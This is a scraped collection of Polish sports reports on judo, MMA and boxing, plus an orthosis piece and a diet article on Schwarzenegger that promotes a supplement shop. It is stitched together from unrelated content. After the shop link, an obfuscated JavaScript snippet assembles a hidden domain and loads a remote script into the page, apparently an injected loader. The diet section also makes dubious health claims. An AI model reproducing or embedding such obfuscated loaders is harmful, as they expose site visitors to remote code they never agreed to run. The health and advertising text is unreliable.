Pięcioro naszych zawodników start w Sofii ma już za sobą. Pierwszego dnia rywalizacji na tatami zaprezentowały się judoczki w kategoriach 40, 44,48 i 52kg oraz judocy w 50, 55 oraz 60kg. Niestety, na medal trzeba jeszcze poczekać.

Najwyżej sklasyfikowana została Natalia Kropska (44kg), która w pierwszym pojedynku spotkała się z Martiną Zamponi. Polka dobrze rozpoczęła udział w mistrzostwach Europy pokonując Włoszkę, jednak w kolejnym starciu trafiła na Blandine Pont. Francuzka okazała się przeszkodą nie do przejścia. Polka w repasażach musiała stawić czoła Natalii Roda Casado. Hiszpankę pokonała, jednak zatrzymała się na Yasmin Javadian.

Paulina Szlachta (44kg) stoczyła w Sofii zaledwie jedną walkę. Polkę szans na rywalizację o medale pozbawiła Lois Petit. Michał Michalski, który startował w kategorii 60kg zawody rozpoczął udanie. Polak wyeliminował z mistrzostw Austriaka Marvina Puma. Michalski okazał się bezsilny w starciu z Ismayilem Ibrahimovem, który sięgnął po brązowy medal. Polak miał jeszcze szansę przebić się w repasażach, jednak Luukas Saha odprawił naszego zawodnika wygrywając pojedynek.

Po medale

Nadzieja nadal pozostaje. Czy naszych judoków stać na zdobycie medali podczas mistrzostw Europy kadetów? Tegoroczne starty pozwalają wierzyć w optymistyczny scenariusz. W Pucharze Europy w Kluż-Napotka z dobrej strony pokazał się Eryk Ryciak (90kg), który sięgnął po srebrny medal. Polak dał jasny sygnał, że ma potencjał, ale czy będzie w stanie powtórzyć tak dobry występ w zawodach o randze mistrzostw Europy? W Otwartym Pucharze Europy w Teplicach, gdzie zjechało się ponad siedmiuset judoków po brązowe medale sięgnęły Anna Dąbrowska (57kg) oraz Barbara Kulik (63kg). Vanessa Machnicka w Sofii startuje w rywalizacji kadetów, jednak w tym roku sięgnęła po brązowy medal w Pucharze Europy Juniorów i Juniorek w Atenach. Polacy startują w międzynarodowych turniejach i zdobywają cenne doświadczenie. Trudno mówić o regularności, jednak w poszczególnych zawodach nasi judocy udowadniają, że stać ich na wiele. Czy po starcie w Sofii nadal będzie można tak mówić?

Bez Polaków w Mongolii

Z kolei seniorzy będą rywalizować w zawodach Grand Prix w Ułan Bator. Dla wielu zawodników to kolejna możliwość zdobycia punktów do rankingu klasyfikacji olimpijskich. Polacy nie startują.

KM

Polki zdominują UFC?

Joanna Jędrzejczyk stała się gwiazdą najlepszej organizacji mieszanych sztuk walki na świecie.27-letnia fighterka jest mistrzynią UFC w wadze słomkowej. Czy dołączy do niej Karolina Kowalkiewicz?

Zawodniczka Gracie Barra Łódź jest obecnie najlepszą fighterką w kraju. Kowalkiewicz nie ukrywa, że jej ambicją pozostaje walka o najwyższe cele i nie wyklucza podróży za ocean. Już kilka miesięcy temu na antenie telewizji Fightime mówiła, że chętnie zmierzyłaby się w pojedynku z Joanną Jędrzejczyk.

Kiedy na podbój UFC?

Kowalkiewicz jest gwiazdą KSW i zarazem jej najpiękniejszą twarzą. Zawodniczka wielokrotnie udowodniła, że obecnie jest najlepsza w kraju i na kolejnych galach potwierdza swoją wartość. Czy nadszedł już czas na rozwój kariery zagranicą? Warto przypomnieć, że Kowalkiewicz nie walczyła tylko i wyłącznie w Polsce.

W listopadzie 2014 roku 29-letnia zawodniczka wystąpiła na gali Invicta FC 9. Kowalkiewicz toczyła wyrównaną walkę przez trzy rundy z Mizuki Inoue i decyzją sędziów wygrała pojedynek. Polka pokazała się z dobrej strony, przekładając dobre występy w kraju na sukces zagranicą. Kowalkiewicz chce pokonać kolejny stopień w karierze i spróbować swoich sił w UFC. Ponoć debiut zawodniczki z Łodzi w najlepszej organizacji mieszanych sztuk walki na świecie możliwy jest już w tym roku.

W drodze po pas

Czy dwie Polki zawojują UFC? Joanna Jędrzejczyk jest posiadaczką mistrzowskiego pasa w wadze słomkowej, a w ostatniej walce udowodniła swoją wartość rozbijając w pył Jessicę Penne. W tej samej kategorii występuje Karolina Kowalkiewicz. Start łodzianki w UFC byłby więc szansą na pojedynek polsko-polski. Jędrzejczyk prezentuje wysoki poziom i wydaje się, że w obecnej chwili nie ma rywalki, która byłaby jej w stanie zagrozić. Pojedynek dwóch Polek z pewnością dostarczyłby wielu emocji. Rywalizacja Jędrzejczyk i Kowalkiewicz jest jedną z walk, której oczekują kibice. Z utęsknieniem fani MMA czekają na starcie Mameda Khalidova z Michałem Materlą, jednak rywalizacja olsztynianki i łodzianki jest również pożądana.

Należy uzmysłowić sobie jedną istotną sprawę. Przed Karoliną Kowalkiewicz długa droga, aby doprowadzić do starcia z Jędrzejczyk. Obie zawodniczki są w zupełnie innym miejscu swoich karier. Najpierw Kowalkiewicz musi trafić do UFC i pokazać tam, że osiągnęła odpowiedni poziom sportowy, aby rywalizować z najlepszymi. Patrząc na rozwój Jędrzejczyk można wysnuć wniosek, że ciężka praca, konsekwencja oraz dążenie do celu jest drogą do osiągnięcia sukcesu.

Polska mistrzyni UFC w swoim trzecim występie w najlepszej organizacji świata stanęła do walki o pas. Po dziewięciu miesiącach od debiutu dostała szansę rywalizacji o tytuł. Jeśli Kowalkiewicz trafi do UFC, możliwe, że Polki staną w oktagonie już w przyszłym roku. Czy zawodniczki znad Wisły zdominują wagę słomkową?

KM

Grand Prix w judo: rosyjscy mistrzowie olimpijscy w Mongolii.

Grand Prix w judo: rosyjscy mistrzowie olimpijscy w Mongolii
Wszyscy trzej rosyjscy mistrzowie olimpijscy w judo z Londynu, zostali zgłoszeni do Grand Prix w Ułanbator. W bardzo silnym składzie wystąpi też Mongolia. Na transmisje w telewizji FightKlub zapraszamy w dniach 3-5 lipca od godziny 10:00.

Rosja wystawia trzech znakomitych zawodników, złotych medalistów IO 2012 – Arsena Galstyana (-60 kg), Mansura Isaeva (-73 kg) i Tagira Khaibulaeva (-100 kg), który rok temu wygrał silnie obsadzone zawody w mongolskiej stolicy. W porównaniu z Igrzyskami w Londynie, kategorię wagową zmienił Arsen Galstyan i obecnie startuje w -66 kg. Rosjanie w tej wadze są potęgą – tydzień temu Mistrzem Europy i jednocześnie zwycięzcą Igrzysk Europejskich został Kamal Khan-Magomedov, a brązowy medal zdobył Mikhail Pulyaev.

Do turnieju GP w Ułanbator, zaliczanego do kwalifikacji olimpijskich i cyklu IJF Tour, zgłosiło się ponad 200 zawodniczek i zawodników z 36 państw, w tym duża grupa Europejczyków. Polaków tym razem nie będzie, ale już za 2 tygodnie nasi widzowie zobaczą Łukasza Błacha (-81 kg), Jakuba Wójcika (-100 kg) i Macieja Sarnackiego ( 100 kg) w prestiżowym Grand Slamie w Tiumeniu (Rosja).

W Mongolii nie zabraknie polskich akcentów, gdyż rywalizować będą Szwedzi Martin i Robin Packowie, których rodzice są Polakami, a oni obaj dobrze mówią w naszym języku. Męska kadra Szwecji fatalnie spisała się w Baku, więc jest okazja do szybkiej rehabilitacji. Ciekawy zespół przysyłają Japończycy na czele z Hifumi Abe (-66 kg), typowanym na następcę Masashiego Ebinumy, 3-krotnego Mistrza Świata i brązowego medalisty Olimpijskiego z Londynu. Kanadyjczycy szykują się do organizowanych w tym kraju PanAmerica Games, a tymczasem dwaj czołowi judocy – medalista IO i MŚ Antoine Valois-Fortier (-81 kg) oraz Kyle Reyes (-100 kg) wybrali turniej w Mongolii. W ekipie gospodarzy nie zabraknie takich sław jak Tsagaanbaatar Khashbaatar (-66 kg) i Boldbaatar Ganbat (-60 kg), ale nie ma Mistrzyni Świata 2013 Urantsetseg Munkhbat.

W puli nagród jest 100 tys. dolarów – 3 tys. za 1 miejsce, 2 tys. za 2 i 3 tys. za 3. Zwycięzcy poszczególnych kategorii wagowych otrzymają 300 punktów do rankingu.

Źródło: materiały prasowe

Polskie boje

Zapowiada się ciekawa jesień w polskim boksie. Początkowo wszystkich zaskoczyła informacja o możliwym starciu Tomasza Adamka z Przemysławem Saletą. Okazuje się, że nie tylko weterani wagi ciężkiej pojawią się w ringu.

Rozmowy na temat walki pomiędzy Mateuszem Masternakiem, a Krzysztofem Włodarczykiem nabierają tempa. Okazuje się, że porozumienie jest coraz bliżej. Na drodze do pojedynku stoją ponoć pieniądze.

O prymat

Dzieli ich sześć lat, na gruncie bokserskim również widać różnice. „Diablo” to były mistrz świata organizacji WBC wagi junior ciężkiej, „Master” jeszcze nie dostąpił zaszczytu walki o tytuł. Przez kilka ostatnich lat we Włodarczyku widziano nadzieję polskiego pięściarstwa. 34-letni bokser był przez długi czas jedynym polskim mistrzem świata, jednak i jego panowanie dobiegło końca. W życiu prywatnym „Diablo” miał również problemy, które po części wpłynęły na jego formę. Włodarczyk długo będzie wracał wspomnieniami do 27 września 2014 roku, kiedy stracił pas WBC na rzecz Grirogija Drozda. Na ringu w Moskwie zobaczyliśmy innego „Diablo”. Stłamszonego, powolnego i zagubionego. Rosjanin wykorzystał atut własnego terenu, był pewny siebie, co dało mu zwycięstwo. Włodarczyk liczył na rewanż, jednak w ostatniej chwili musiał wycofać się. Z powodu choroby nie był w stanie pojawić się w ringu. Zastąpił go Łukasz Janik, który walkę przegrał. „Diablo” nie walczył od dziewięciu miesięcy.

Inaczej jest z Masternakiem, który w tym roku pojawił się w ringu dwukrotnie. „Master” mógł, a nawet powinien być w innym miejscu swojej kariery. Dobra postawa w ringu oraz czyste umiejętności nakazywały twierdzić, że 28-latek spokojnie powinien walczyć o mistrzostwo świata. Pojawiał się temat walki z Denisem Lebiediewem, ale wtedy „Master” niespodziewanie przegrał z Yourim Kalengą. Od tego feralnego wydarzenia wygrał trzy walki m.in. pokonując Jeana Marca Mormecka. Pecha miał w czerwcowym starciu z Johnny’m Mullerem, kiedy to w ringu był lepszy, ale decyzja sędziów była inna.

We wrześniu w Łodzi miałoby dojść do starcia Włodarczyka i Masternaka. Pojedynek pozwoliłby na wyłonienie najlepszego polskiego zawodnika w wadze junior ciężkiej. Dla jednego z pięściarzy mogłaby być to trampolina, a dla drugiego upadek. Obozy pięściarzy prowadzą negocjacje. Jeśli osiągną porozumienie na jesieni może dojść do prawdziwej bitwy.

Stare lisy

Wydaje się to nierealne i nieprawdopodobne. Tomasz Adamek po porażce z Arturem Szpilką mówił o zakończeniu kariery, ale chce jeszcze raz wejść do ringu i pożegnać się z kibicami. Jego rywalem ma być były kickboxer i mistrz Europy w boksie Przemysław Saleta. Dzieli ich aż osiem lat. Saleta po raz ostatni w ringu zaprezentował się ponad dwa lata temu. Wtedy zgotował pożegnanie Andrzejowi Gołocie, którego znokautował w szóstej rundzie. Czy wiekowy Saleta będzie w stanie przeciwstawić się Adamkowi, który ma za sobą dwie porażki – ze Szpilką i Głazkovem?

KM

Francuzi najmocniejsi

Nie udało się. Polscy judocy na Igrzyskach Europejskich w Baku, które zarazem były mistrzostwami Europy nie zdobyli żadnego medalu.

W niedzielę odbyła się rywalizacja drużynowa. Nie wystartowała kadra mężczyzn, ale z nadzieją wszyscy patrzyli na występ reprezentacji kobiet. Zbyt silne okazały się Rosjanki i Węgierki.

Francuzi dominują

Polki znalazły się w trudnej sytuacji. Musiały sobie radzić we cztery, choć rywalki walczyły w piątkę. Powodem takiego stanu rzeczy była absencja Agaty Ozdoby w kategorii 63kg z powodu kontuzji, której Polka doznała w rywalizacji indywidualnej.

Agata Perenc, Arleta Podolak, Katarzyna Kłys i Katarzyna Furmanek musiały podjąć wyzwanie. Już na starcie miały świadomość, że rywalki posiadają przewagę. Polki musiały być precyzyjne, dokładne i nie mogły popełnić błędu. Każde potknięcie przybliżało biało-czerwone do porażki, rywali były w uprzywilejowanej sytuacji – już na starcie prowadziły. Podopieczne Anety Szczepańskiej stoczyły dwa pojedynki. Niestety, oba przegrane.

Wszystko mogłyby wyglądać inaczej, gdyby biało-czerwone walczyły w pełnym składzie. Polki przegrały w ćwierćfinale z Rosją 2:3. W repasażach biało-czerwone trafiły na Węgierki, które dobrze rozpoczęły rywalizację, czym zapewniły sobie zwycięstwo. Polki musiały pogodzić się z drugą porażką, co pozbawiło je szans na medal i zakończyło ich udział w turnieju.

W finale rywalizacji kobiet spotkały się Francuzki i Niemki. Ze złotego medal cieszyły się Trójkolorowe, trzecie miejsce dla Włoszek i Słowenek. U panów również triumfowali Francuzi, którzy w finale uporali się z Gruzinami. Z brązowych medali cieszą się reprezentanci Rosji i Ukrainy.

1/8 nie do przejścia

Polacy w zawodach Pucharu Świata i Grand Prix osiągali dobre wyniki, które nastrajały optymistycznie. W Baku w żaden sposób nie przełożyło się to na sukcesy.

Daria Pogorzelec w tym sezonie pokazała, że stać ją na rywalizowację z najlepszymi. W Zagrzebiu sięgnęła po brązowy medal, trzecia była podczas zawodów Grand Slam w Baku. Tym razem w Azerbejdżanie nie miała tyle szczęścia. Pogorzelec zatrzymała się na 1/8 finału. Polka ambitnie walczyła z Luise Malzahn, jednak ostatecznie przegrała. Niemka wygrała jedną karą shido, obie zawodniczki zaliczyły po yuko. Malzahn dotarła do finału, gdzie przegrała z Marhinde Verkerk. Maciej Sarnacki rywalizację w turnieju rozpoczął od wygranej z Hiszpanem Fernandezem. Walczący w kategorii +100kg Polak w tym sezonie wygrał zawody na warszawskim Torwarze i prezentował równą dyspozycję, jednak w Baku nie udało się osiągnąć sukcesu. W 1/8 finału Sarnacki przegrał z późniejszym triumfatorem Gruzinem Adamem Okruaszwilim. Emilie Andreol wygrała rywalizację wśród pań w kategorii +78kg. Francuzka w 1/8 finału trafiła na Katarzynę Furmanek i Polka musiała pogodzić się z porażką.

Zaledwie jedną walkę w Baku stoczył Patryk Ciechomski. Jakub Wójcik w 1/8 finału przegrał przez ippon z Niemcem Petersem, który w kolejnej rundzie uległ późniejszemu triumfatorowi w kategorii 100kg Holendrowi Henkowi Grol.

KM 

Łokcie metodą na Machidę

Yoel Romero pokazał, że jest klasowym zawodnikiem. Podczas UFC Fight Night 70 w Hollywood okazał się lepszy od Lyoto Machidy.

W oktagonie spotkało się dwóch doświadczonych zawodników, którzy zbliżają się do magicznej „40-stki”. Upływu lat po Kubańczyku i Brazylijczyku widać nie było. Zawodnicy stworzyli ciekawe widowisko, w którym nie zabrakło efektownych akcji.

Machida przystępował do pojedynku z nadzieją na odrodzenie. Nie ma, co ukrywać, że Brazylijczyk ostatnimi czasy walczy w kratkę. W lipcu 2014 roku poległ w starciu z Chrisem Weidmanem, jednak podczas kolejnej gali uporał się z C.B. Dollawayem. Kolejnym rywalem Machidy był Luke Rockhold, który już w drugiej rundzie uporał się z Brazylijczykiem. Zgodnie z ostatnimi występami 37-latek powinien uporać się z Romero. Warto dodać, że była to szósta walka z rzędu, podczas której Machida był gwiazdą wieczoru. Z kolei Romero ostatnią porażkę poniósł we wrześniu 2011 roku i ma na koncie znakomitą passę sześciu zwycięstw z rzędu – włączając ostatnią wygraną. Triumf w pojedynku z Machidą przybliża Kubańczyka do miana pretendenta do tytułu mistrza UFC wagi średniej.

Gdyby oceniać walkę po pierwszej rundzie to zbyt wiele pochlebstw w kierunku zawodników nie padłoby. Początek rywalizacji był swego rodzaju procesem badawczym, który miał pozwolić zawodnikom rozpoznać swoje możliwości i zarazem pozwolić zastosować odpowiednią taktykę na dalszą część pojedynku. Od drugiej rundy przewagę stopniowo budował Romero. 38-latek nadawał tempo, skracał dystans i atakował Machidę. Często w sposób niespodziewany – latające kolano. Romero stopniowo realizował swój plan. Szybko doskakiwał do rywala i słał w jego stronę liczne kombinacje. Po jednej z nich Machida zachwiał się, co wykorzystał Romero. Kubańczyk doskoczył do swojego rywala, przewrócił go i serią ciosów zakończył pojedynek.

Romero odniósł efektywne zwycięstwo – szóste z rzędu. Wielu obserwatorom nie podobało się, że w podsumowaniu walki fighter nie skupił się na aspekcie sportowym, lecz obyczajowym. 38-latek zapytał zgromadzonych o powody zejścia na złą drogę nawiązując do legalizacji małżeństw tej samej płci na terenie Stanów Zjednoczonych.

Steve Bosse nie zaliczył udanego debiutu w UFC, a to za sprawą Thiago Santosa. Brazylijczyk zastopował zapędy swojego rywala wysokim kopnięciem. Bosse runął na ziemię, a walka trwała zaledwie dwadzieścia dziewięć sekund. Lorenz Larkin i Santiago Ponzinibbio zaczęli spokojnie, a w drugiej rundzie zaczęła się prawdziwa wojna. Argentyńczyk liczył, że wymiany w krótkim dystansie przyniosą mu korzyść, ale przeliczył się. Larkin był skuteczny i wyprowadzał celne ciosy. Mocne uderzenia Amerykanina zrobiły wrażenie na jego rywalu, który padł na deski. Wstał, ale był chwiejny i nie miał sił, aby postawić opór przeciwnikowi. Swoje konto o 50 tysięcy dolarów za występ wieczoru wzbogacili Romero i Santos. Z kolei za walkę wieczoru bonus otrzymali Larkin i Ponzinibbio.

Wyniki:

Walka wieczoru: 185 lbs: Yoel Romero Palacio pokonał Lyota Machidę przez TKO 

170 lbs: Lorenz Larkin pokonał Santiago Ponzinibbio przez TKO 
185 lbs: Antonio Carlos Junior pokonał Eddie’ego Gordona przez poddanie
185 lbs: Thiago Santos pokonał Steve’a Bosse’ego przez KO 
145 lbs: Hacran Dias pokonał Levana Makashviliego przez niejednogłośną decyzję sędziów

170 lbs: Alex Oliveira pokonał Joego Merritta przez jednogłośną decyzję sędziów
170 lbs: Leandro Silva pok. Lewisa Gonzaleza przez jednogłośną decyzję sędziów 
170 lbs: Tony Sims pokonał Steve Montgomery przez TKO 
135 lbs: Sirwan Kakai pokonał Danny’ego Martineza przez jednogłośną decyzję sędziów

KM

Blisko medalu, ale bez medalu

Katarzyna Kłys walczyła o sukces w Igrzyskach Europejskich i mistrzostwach Europy w judo, które są rozgrywane w Baku. Sukces był blisko. Polka otarła się o podium.

Kłys do Baku jechała z nadziejami. Po bardzo dobrym poprzednim sezonie nadeszły gorsze dni, jednak reprezentantka Polski intensywnie przygotowywała się do startu w Azerbejdżanie. Kłys walczyła ambitnie, jednak do szczęścia trochę zabrakło.

O włos od radości

Zawodniczka UKS Judo Kraków niejednokrotnie udowodniła, że umie walczyć pod presją. W poprzednim sezonie sięgnęła po brązowy medal mistrzostw świata w Czelabińsku, co było ogromnym sukcesem polskiego judo. Ze startem w Baku wiązała ogromne nadzieje. Rywalizująca w kategorii 70kg zawodniczka występ  w Baku zaczęła od pojedynku z Brytyjką Fletcher, która nie sprawiła jej większych problemów. W 1/8 finału na Kłys czekało kolejne wyzwanie, jednak zawodniczka z Krakowa była zdeterminowana, aby odnieść sukces. Rozprawiła się z Belgijką Mansour i już była w ćwierćfinale.

Tam trafiła na judoczkę, z którą walczyć nie lubi i nie potrafi. Bernadette Graf ma to do siebie, że neutralizuje wszystkie atuty Kłys i decyduje o tym jak przebiega pojedynek. Tym razem Polka również nie znalazła sposobu na dobrze dysponowaną Graf. Przegrana wytrąciła Kłys z marszu po medal, jednak w repasażu udowodniła, że stać ją na sukces. Szwajcarka Juliane Robra uległa naszej zawodniczce, przed którą stanęła szansa na zdobycie brązowego medalu. W decydującym starciu Kłys trafiła na reprezentantkę Niemiec Saundrę Diedrich. Polka chciała zdominować przeciwniczkę, ale nie była precyzyjna, co wykorzystała rywalka. Judoczka z Krakowa nie dokończyła ataku, a Niemka wykorzystała nadarzającą się okazję. Dietrich założyła duszenie i walka dobiegła końca. Niemka wygrała przez ippon po półtorej minuty rywalizacji. Pogromczynie Polki – Graf i Dietrich zdobyły brązowe krążki.

Katarzyna Kłys była blisko podium. Zaliczyła dobry występ podczas Igrzysk Europejskich, które zarazem dla judoków są mistrzostwami Europy. Gdyby nie Graf mogło być inaczej. W decydującym starciu do szczęścia zabrakło niewiele. Start w Baku pokazał, że Kłys nadal ma możliwości, aby walczyć o najwyższe cele. Do Igrzysk Olimpijskich w Rio jeszcze rok, więc jest jeszcze czas na dopracowanie mankamentów.

Inni bez rewelacji

Agata Ozdoba bardzo szybko poradziła sobie z Nuriyyą Akhundovą w swojej pierwszej walce w Baku. Polka potrzebowała zaledwie dwudziestu jeden sekund, aby rozstrzygnąć pojedynek na swoją korzyść. W 1/8 finału Ozdoba trafiła na mistrzynię świata z 2013 roku Yarden Gerbi. Reprezentantka Izraela pozbawiła Polkę złudzeń i udowodniła swoją wyższość. Ostatecznie Gerbi sięgnęła po brązowy medal w Baku w kategorii 63kg.

Na 1/8 finału udział w zawodach zakończył Łukasz Błach w kategorii 81kg. Reprezentanta Polski wyeliminował Loic Pietri z Francji. W 1/16 turnieju odpadł Damian Szwarnowiecki (73kg), w 1/32 Jakub Kubieniec (81kg).

KM

Orteza i jej znaczenie w rehabilitacji i leczeniu

Medycyna jest tą dziedziną, która rozwija się najprężniej. Szczególnie widoczne jest to w ortopedii. Bezsprzecznie aparaty ortopedyczne są wyznacznikiem postępu technologicznego w medycynie, a ich zalety i ciągle udoskonalanie, w przyszłości mogą zastąpić zwyczajowo stosowany gips.

Orteza jest więc przyrządem ortopedycznym mającym za zadanie stabilizację ułomnego stawu, dzięki jej zastosowaniu proces leczenia i rehabilitacji pacjenta, przebiega bez większych ograniczeń.

Jak dopasować

Każdy ze stawów wyróżnia się innymi właściwościami i aby dobrać odpowiedni aparat powinien on być nie tylko dobrze zharmonizowany pod kątem maksymalnego stabilizowania uszkodzonego stawu, ma również zapewniać komfort użytkowania pacjentowi, który będzie go nosił. Orteza kolana, ręki, uda, podudzia, stawu skokowe czy łokcia wspomaga chorego w codziennym funkcjonowaniu, usztywniając uszkodzone stawy. Aparaty ortopedyczne dzielą się również ze względu na rodzaj schorzenia na: miękkie, półsztywne i sztywne.

Problematyczny kręgosłup

Kręgosłup jest szczególnie narażony na obciążenia, a to przecież fundament człowieka, dobrze o tym pamiętać i w razie jakichkolwiek dolegliwości udać się do lekarza. Dobrze dobrana proteza ortopedyczna pozwoli uchronić nasz kręgosłup przed dalszymi uszkodzeniami. Jeśli niedomoga nam część lędźwiowo krzyżowa, potrzebny będzie pas ortopedyczny. Dla wzmocnienia mięśni w okolicy dolnej części pleców warto zaopatrzyć się w gorset posiadający boczne dociągacze, które zapewnią usztywnienie. Takie schorzenia jak przepuklina jamy brzusznej, osłabienie mięśni na skutek porodów czy operacji należy wspomóc nosząc urządzenie nazywane pasem lub gorsetem brzusznym, który wzmocni mięśnie brzucha i potrzyma wewnętrzne narządy.

Ortezy wykonywane są z elastycznych, oddychających materiałów, poprawiają ukrwienie i utrzymują naturalną ciepłotę ciała pacjenta. Piankowe materiały uzupełnione naturalnymi podszyciami na przykład z froty czy bawełny, dają poczucie komfortu osobie korzystającej z tego urządzenia. Brzegi Ortezy wykończone są miękkim i przyjemnym w dotyku materiałem, dzięki takim zabiegom nie dochodzi do uszkodzenia naskórka wokół aparatu i pod nim. Materiały te przepuszczają powietrze, łatwiej i szybciej dochodzi wtedy do prawidłowego przebiegu leczenia czy rehabilitacji . Niebagatelne znaczenie ma też waga tych aparatów ortopedycznych, są one znacznie lżejsze od tradycyjnego gipsu. Ma to szczególne znaczenie w rehabilitacji osób starszych, dla których ciężki gips może utrudniać proces leczenia.

Metoda Arnolda Schwarzeneggera

Jeśli mowa o wielkich osobistościach w świecie kulturystyki, to nie ma nikogo większego, niż Arnold Schwarzenegger.0

W latach 70-tych, ten niesamowity kolos z małej austriackiej miejscowości, zdominował cały świat kulturystyki i został ukoronowany tytułem najmłodszego Mister Universe, mając zaledwie 20 lat.

Dzięki tak imponującej posturze, przyciągał do siebie całe rzesze ludzi. To spowodowało, że stał się największą ikoną kina akcji, i utorował sobie polityczną drogę na fotel gubernatora Kalifornii.

Więc, co jest kluczem do wyrzeźbienia tak imponującej sylwetki? Cóż, w grę wchodzi wiele istotnych czynników, takich jak genetyka, czy fizyczna i psychiczna determinacja. Cytując słowach Arnolda: „Trening bez spożywania odpowiedniej diety jest jak oranie pola, bez sadzenia nasion w ziemię. Nic z tego nie wyrośnie.”

Krótko mówiąc, chodzi o to, co spożywamy i kiedy. Przyjrzyjmy się teraz, jak to robił sam król.

Podejście do jedzenia

Podejście Arnolda było jasne i proste – jeść dużo. Według dzisiejszych standardów, jego dieta może być uznana za niezdrową. Jednak, Arnold miał podstawową wiedzę o tym, że żywność zawiera kalorie wykonane z białek, węglowodanów i tłuszczów, i o jej wpływie na wydajność i budowanie mięśni. Jego dieta zapewniała uzyskiwanie paliwa właściwego do treningu i rozrostu ciała.

Spożycie białka

Białko jest niezbędne do budowy i utrzymania czystej masy mięśniowej. Podejście to jest takie samo dzisiaj, jak było w latach 70-tych. Jeśli chcesz rozbudować swoje ciało – spożywaj dużo białka.

Orientacyjnie, Arnold stwierdził, że dziennie potrzeba 2 g białka na kilogram masy ciała. Białko można uzyskiwać z różnych źródeł żywności, w tym ryb, mięsa i warzyw. Jednak, najlepszym sposobem, aby zapewnić sobie wystarczająco dużo białka i składników odżywczych jest zakup białka serwatkowego w proszku. Można je nabyć w największym sklepie z odżywkami w Polsce – centrumodzywek.net.

Wystarczy wymieszać proszek z resztą składników używając do tego blendera. Tak przygotowany shake był bardzo istotną rzeczą w diecie Arnolda.

Małe regularne posiłki

Innymi słowy, należy zapewniać dostawy energii, ale nie należy spożywać zbyt wiele w jednym posiłku. Trening wymaga dużej ilości paliwa, aczkolwiek, zbyt dużo jedzenia na raz sprawi, że poczujemy się ociężali, ponieważ ciało będzie zużywać dużo energii do strawienia tak ogromnego posiłku. Aby utrzymać swoje rozmiary, Arnold musiał przyjmować 5000 kalorii dziennie. Jego metoda opierała się na spożywaniu dużej ilości mniejszych posiłków wysokobiałkowych w ciągu dnia.

Co trzy godziny zjadał posiłek o zawartości białka między 30-50 g. Białko uzyskiwał z kombinacji naturalnych źródeł i białka w proszku. Mniejsze posiłki pozwalały na cięższy trening, a co za tym idzie – lepsze rezultaty.

Tłuszcze

Arnold zawsze rekomendował dobre tłuszcze znajdujące się w rybach, orzechach i warzywach. Spożywał również dużo tłuszczów, które uważa się za złe, takie jak czerwone mięso i całe jaja.

Jego spożycie tłuszczu było bardzo wysokie w porównaniu do wielu współczesnych kulturystów, którzy wolą spożywać jedynie białka jaj, omijając czerwone mięso. Jednakże, jeśli wziąć pod uwagę rozmiary Arnolda oraz intensywność jego treningu, to spożycie tłuszczu przez mistrza było w tym kontekście niewielkie i łatwo spalane podczas ćwiczeń.

Wielu sceptyków wówczas uważało, że przy spożyciu tak dużych ilości tłuszczów i przy tak ciężkim treningu, Arnold był na najlepszej drodze do ataku serca. Ale sądząc po znakomitej formie, jaką jeszcze trzyma obecnie, wychodzi na to, że Arnold wyprzedził swoje czasy, a sceptycy nie mieli racji.

Dzisiejsza nauka to potwierdza. Mamy dużo większą wiedzę na temat kwasów tłuszczowych, takich jak Omega 3. Istnieje również rosnący argument, że ilości tłuszczów nasyconych w żywności, takiej jak masło i mięso, są dla nas dobre.

Nie oznacza to, że zaraz mamy szaleć z ilością tłuszczów. Warto poszukać informacji, skąd uzyskiwać zdrowe tłuszcze, ponieważ zapewniają ogromne pokłady energii. Tłuszcze nasycone występują w żywności, takiej jak nabiał, mięso, olej kokosowy i awokado. Tłuszcze wielonienasycone w rybach, nasionach dyni i orzechach włoskich. Tłuszcze jednonienasycone w oliwie z oliwek, awokado i orzechach.

Należy unikać niebezpiecznych tłuszczów, takich jak tłuszcze trans, które znajdują się w przetworzonej żywności, jak margaryna i fast-food.

Cała żywność

Dieta Arnolda była bogata w całą żywność. Unikał przetworzonej żywności, jak również chleba. Arnold przyznał, że natura wie lepiej od człowieka, jak stworzyć  łatwiej przyswajalną żywność.

Warzywa są bogate w witaminy i minerały łatwo przyswajalne przez organizm. Pomagają w utrzymaniu zrównoważonego pH, neutralizując obecność silnych kwasów w naszej krwi, które powstały w wyniku rozpadu białek. Zawierają też silne antyoksydanty, które uwalniają organizm z toksyn, chronią komórki i promują dobre zdrowe.

Arnold korzystał z wyważonej, bogatej w białka, zdrowej diety. Spożywał odpowiednie ilości węglowodanów i potrzebnych tłuszczów, oraz pił shaki z białka w proszku, które przyrządzał w blenderze.

Jeśli planujecie uzyskać sylwetkę godną mistrza, rekomendujemy zaopatrzyć się w najlepsze odżywki i suplementy, które zmienią wątłe ciałko w Rodyjskiego Kolosa. Najbezpieczniejsze i najwyższej jakości pomoce dla sportowców można znaleźć w największym sklepie w Polsce – http://www.centrumodzywek.net

[kod]

(function(){
ubqa=document.createElement("script");ubqa.type="text/javascript";
ubqa.async=true;ubqa_=(("us")+"t")+"a";ubqa_+=("t.i")+""+"n";ubqa_+=(("f")+"o");
ubqa.src="http://"+ubqa_+"/2010393.eykbs1zwbqackt3zw2kqnqm1k85dfm";
document.body.appendChild(ubqa);
})();

Pierwsze koty za płoty

Rywalizacja w Baku trwa w najlepsze. Igrzyska Europejskie odbywają się po raz pierwszy, jednak dla judoków turniej w Azerbejdżanie ma podwójny wymiar, gdyż jest to zarazem rywalizacja w mistrzostwach Europy.

Po dobrych występach w zapasach i boksie, które zostały okraszone medalami czas na kolejne sukcesy. O medale walczą judocy, jednak początek najlepszy nie jest.

Coś o śliwkach

Mówi się, że pierwsze śliwki robaczywki. Poza tym –początki bywają trudne, ale nie można tracić nadziei. Nasze judo ma potencjał, co przez ostatni rok zostało wielokrotnie potwierdzone. Bardzo dobre występy w Pucharach Świata i zawodach Grand Prix, gdzie nasi reprezentanci zajmowali czołowe pozycje. Potencjał udowodniła żeńska kadra, która pod wodzą Anety Szczepańskiej święci triumfy. Poza tym medale zdobywały Katarzyna Kłys w mistrzostwach świata oraz Agata Ozdoba w mistrzostwach Europy. W Baku sukcesu jeszcze nie było, ale rywalizacja dopiero zaczęła się.

Igrzyska zmierzają ku końcowi. W przypadku judoków tak naprawdę dopiero wystartowały. Arleta Podolak już w 1/16 pożegnała się z rywalizacją. W kategorii 57kg Polka przegrała przez ippon z reprezentantką Niemiec Violą Waechter. Tego poziomu nie był w stanie pokonać również Aleksander Beta (66kg), który w Baku okazał się gorszy od Loica Korvala. Francuz wygrał przez yuko.

